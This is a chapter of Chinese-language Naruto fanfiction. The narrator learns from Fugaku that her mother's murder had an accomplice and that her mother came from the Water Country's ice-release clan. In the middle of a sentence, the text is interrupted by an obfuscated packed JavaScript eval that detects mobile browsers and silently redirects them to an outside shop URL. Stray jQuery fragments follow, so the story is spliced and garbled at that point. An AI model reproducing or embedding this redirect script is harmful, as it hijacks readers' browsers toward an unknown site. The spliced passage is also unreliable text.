身为她的孩子,我却从未了解过她。——题记
任务确实堆积了很多,我们几乎每天都在火影楼和村口之间来回跑。
虽说进行了一次C级任务后,我们已经可以开始接更高级别的任务了,但山贼也没有多到需要我们一直去处理。
于是任务总是零碎杂事,例如送信、找猫、除草、清理河道,偶尔才夹杂着C级任务,例如安抚因为战乱而四处逃窜的流民、又或者商人的短途委托任务。
这些任务并不困难,风险较低,就是有些杂碎。每一件事处理起来耗费时间不长,但全部完成却也耗费了一个月。
所以,虽然答应了卡卡西好好照顾家,但我也没时间落脚。每次回到家时,总是深夜或者凌晨,草草洗漱就上了床。家里终是落了灰,只能全部完成之后再打扫了。
繁忙的任务占据了我们所有的时间,母亲的事终究还是没能找到机会问,只能等到最后一个任务完成。
那天傍晚,我们终于上交了最后一份任务报告,从火影楼空手而出。
灯里伸了伸懒腰,疲惫地抱怨着:“终于可以歇一天了,我受不了了,这一个月太累了,本小姐都累坏了。”
富岳敲了一下妹妹的头,“跟你说了多少次,不要自我称呼那么奇怪。”
灯里捂着脑袋瘪瘪嘴,不服气地哼了哼。
诚一冷哼一声,眼神带着鄙夷,“我看她这么说话非常合适,大小姐脾气。”
灯里一甩手,给了他一肘击,“用你管!”
诚一闪身躲过,勾起唇冲她冷笑。
灯里气不过他那欠揍的笑脸,握着拳头就扑了上去。
我站在老师身旁捂脸微笑,突然想起了积压已久的事,转头看向了富岳。
他原本静静看着灯里和诚一打闹,察觉我的视线后转头看过来,语气平静:“我知道你要问什么,解散后别走,我会告诉你。”
说完,他转过头,继续观看不远处焦灼的战斗。我心神一动,随即收回目光,安静地等面前的闹剧结束。
良久,灯里整个人都压在他的身上,胳膊抵住着他的脖颈,拳头高高抬起,猛地冲向前。诚一睁大眼睛,眼底不带一丝惧色。
拳风吹动了他的发丝,灯里的拳头骤然停在鼻梁前,拳风扫过,带起根根发丝。
灯里放下抵住他的手臂,坐直了身体,居高临下地看着他,“这么点能力还敢来挑衅本小姐,杉原诚一,你从来没打赢过我,还这么嚣张。”
她起身拍着双手,不屑地瞥了他一眼,“脑子有病。”
诚一在她起身的一瞬就坐了起来,现在正在拍沾灰的衣服,听见她的话也不作声,脸上依旧是那副模样,只是看着有些僵硬。
富岳拍了拍手,“好了,灯里,别太过分。”
灯里看了她哥哥一眼,虽然不满,但也没再继续说下去。
富岳见他们已经安静下来,于是宣布了解散。
灯里欢呼一声就拉着我的胳膊打算离开,却被我停住了脚步。
“怎么了?”灯里歪了歪头。
“我还有点事情想问富岳老师,你先走吧。”我朝她笑了笑,没解释太多。
灯里狐疑地看了眼我和老师,最后犹豫地转身离开。诚一早在老师说完解散后就已经离开。此时,附近就只剩下我和老师两个人。
我仰头看向身侧的老师,“富岳老师,我……”
他伸手而立,示意我先不忙说话。
我听话地停了下来,认真地看着他。
身前的老师微微弯下腰,眼里带着几分歉意:“小千,你母亲的事我很抱歉。”
我一愣,这和老师有什么关系?
“近期战争变得更加剧烈,前线抽走了大量拥有实战能力的人,村里的守备人员下降,导致叛忍混入村子。你母亲的死,我们警备队有一定的责任。”
我呆呆地看着他,几次想要说这和他们没关系,但话却像卡在了脖子里,怎么也无法说出。
最后,只能沉默着,移开了一直盯着他的眼睛。
老师歉意的语气一转,突然变得严肃,“事情过去了这么久,我们一直在想他是怎么进来的,最后发现了一件古怪的事情。”
低沉的情绪瞬间波动起来,我重新抬起眼。
“你母亲出事的那天晚上,周围邻居没有一个人听见动静。”他说。
“你们家那一带本来就不偏僻,离旁边的邻居也就一墙之隔,更何况街上还有警备队巡逻。就算你父亲是上忍,你和他争斗说话时,也不会一点声响都没有。”
他顿了顿,“而且,我问过那天值班的警备队,他们并没有检测到那天有异常查克拉波动。”
我心下一紧,手指不自觉握紧。
“所以……”
“有人提前布了结界术。封锁了声音和波动,级别不低。”他看着我,目光暗沉。
“我们认为,有另一个人在帮他。”
寒意顺着脊背往上爬,我整个身体不受控制的向后退去,借着平常训练的反射才踉跄着稳住,没直接摔在地上。
“这种结界术一个人完成不了,至少需要两个人。”
“你父亲不是一个人回来的。”
话音反复回荡在耳边,我感觉这一刻世界好像停止了运转,耳边只能听见自己粗重的喘息声。
阳光直射下,本该感觉到温暖的我,却生出了凉意,浑身颤抖起来。
“……那另一个人是谁?”
富岳老师沉默了,我猛地抓住他的手,死死的捏紧,就像抓住了最后一颗救命药。
“抱歉,我们不知道。”
“我查过你母亲的人际交往。她一向温和,没有仇家,这方面我们查不出来什么。”
“也许你可以想一下,你母亲有没有跟你讲过她以前的事,她以前不是木叶的人。”
不是木叶的人?我怔住了,脑子里像是有什么东西被猛地翻了过来,倒在地上,碎片散了一地。
“不是……木叶的人?”
紧抓着的手一松,我呢喃着,不敢置信刚才听到了什么。
从我出生起就住在木叶,母亲和周围的邻居相处的非常好,在村子里也有一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834533|211380||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
些好友,怎么会不是村子的人呢?
脚下的土地突然变得松软,我感觉自己正在慢慢往下沉。
“你不知道吗?”
老师的疑问像一把刀深深扎进我的心,藏在胸腔里的心脏仿佛被四分五裂。
我僵硬地摇着头,说不出一句话。
“按照登记,你的母亲来自水之国,是在十岁那年搬到木叶的,她原来的名字叫水无月和歌。”
“水无月……和歌……”我机械地重复着这个名字,舌尖尝到一丝苦涩。
双腿发软地行走在路上,踩在脚下的大地像松软的棉花,没有一丝实感。
我拖着无力的身体,一点一点地向家挪去。
“你之前不是一直很奇怪自己的查克拉为什么没有土性质吗?一般来说孩子会遗传父母双方的性质,基本只多不少,你应该就是遗传了你母亲的查克拉。”
“水无月一族有独特的血继限界,冰遁。在觉醒之前,哪怕修炼,展现出来的也只是普通水性质。”
“小千,你是一名血继限界拥有者。”
句句话语回荡在耳边,街上的喧嚣声盖不住它们,直直闯入我的耳朵。
我不知道自己走了多久,也不知道已经走到了哪里,脚只是本能地往前迈。风吹来的时候,我整个人轻飘飘的,好像浮在空中,被推着向前去。
“血继限界……水无月……”我不停地念着,声音哑地自己都听不见。
我走的很慢又好像好快,我已经分不清快慢了,周围的一切都模糊成深浅不一的色块,我看不清路了。
脚下的步子依旧没停,直到撞上了什么。
我整个人被弹得往后一仰,脚下一个踉跄,身体向后倒去。一只手在我反应过来之前就已经抓住了我的胳膊,一把将我稳住。
“原叶千?”
熟悉的声音唤回了我的神智,我抬眼看去,凌乱的白发在眼前飞舞,漆黑的眼眸直直望向我。
“卡卡西?你回来了?”我呆呆地问他,思绪仍然混乱着。
卡卡西没有回我,抓住胳膊的手一松,转而伸向我的脸颊,轻轻一抹。
“你哭了?”
卡卡西看了眼泛着磷光的手指,语气骤然一沉,“发生了什么?”
我愣住,看着他举在身前的手,一把抓住拉了过来,凑近仔细观察,有些疑惑,“我哭了?”
卡卡西惊诧地看着我,手腕一动不动地被我捏在掌心,手指在我的注视下微微蜷起。
戴着半指手套的手很是白皙,修长的手指被乖乖抓住,指尖泛着粼粼波光。
我眨了眨眼,这才看清指尖上是什么。
“哦,我哭了呀。”
我放下握住他的手,在他的注视下抚摸上了自己的脸颊。
手掌触及到一丝微凉的液体,我透过指缝看向卡卡西,声音微微颤抖,“卡卡西,我好像有点伤心。”
视线骤然闭合,世界陷入黑暗前,我看见卡卡西一反往常的淡然神色,焦急地向我伸出双手。
耳边也传来了他急切地叫喊,“原叶千!”